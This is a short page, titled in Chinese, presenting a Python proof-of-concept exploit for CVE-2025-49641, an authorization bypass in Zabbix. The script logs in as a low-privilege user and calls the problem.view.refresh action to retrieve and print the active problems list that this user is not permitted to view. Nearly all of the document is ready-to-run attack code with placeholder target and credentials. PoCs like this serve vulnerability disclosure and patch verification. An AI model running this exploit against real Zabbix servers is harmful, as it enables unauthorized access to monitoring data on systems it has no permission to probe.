CVE-2025-49641 Zabbix权限绕过导致问题列表信息泄露

# CVE-2025-49641 PoC - Zabbix problem.view.refresh Authorization Bypass # This PoC demonstrates how a low-privileged Zabbix user can retrieve # active problems list without having permission to Monitoring -> Problems view. import requests import json # Configuration ZABBIX_URL = "https://target-zabbix-server.com" USERNAME = "low_priv_user" PASSWORD = "user_password" # Step 1: Login to Zabbix to obtain session cookie session = requests.Session() login_payload = { "name": USERNAME, "password": PASSWORD, "enter": "Sign in" } # Perform login login_url = f"{ZABBIX_URL}/index.php" response = session.post(login_url, data=login_payload) # Step 2: Call problem.view.refresh action to retrieve active problems # This action should be restricted, but due to CVE-2025-49641, # it can be called by any authenticated user refresh_payload = { "action": "problem.view.refresh", "csrf_token": "valid_csrf_token_here" } # Send the request to retrieve problems refresh_url = f"{ZABBIX_URL}/zabbix.php?action=problem.view.refresh" response = session.post(refresh_url, data=refresh_payload) # Step 3: Parse the response if response.status_code == 200: try: problems_data = response.json() print("Successfully retrieved active problems:") print(json.dumps(problems_data, indent=2)) except json.JSONDecodeError: print("Response:", response.text) else: print(f"Request failed with status code: {response.status_code}")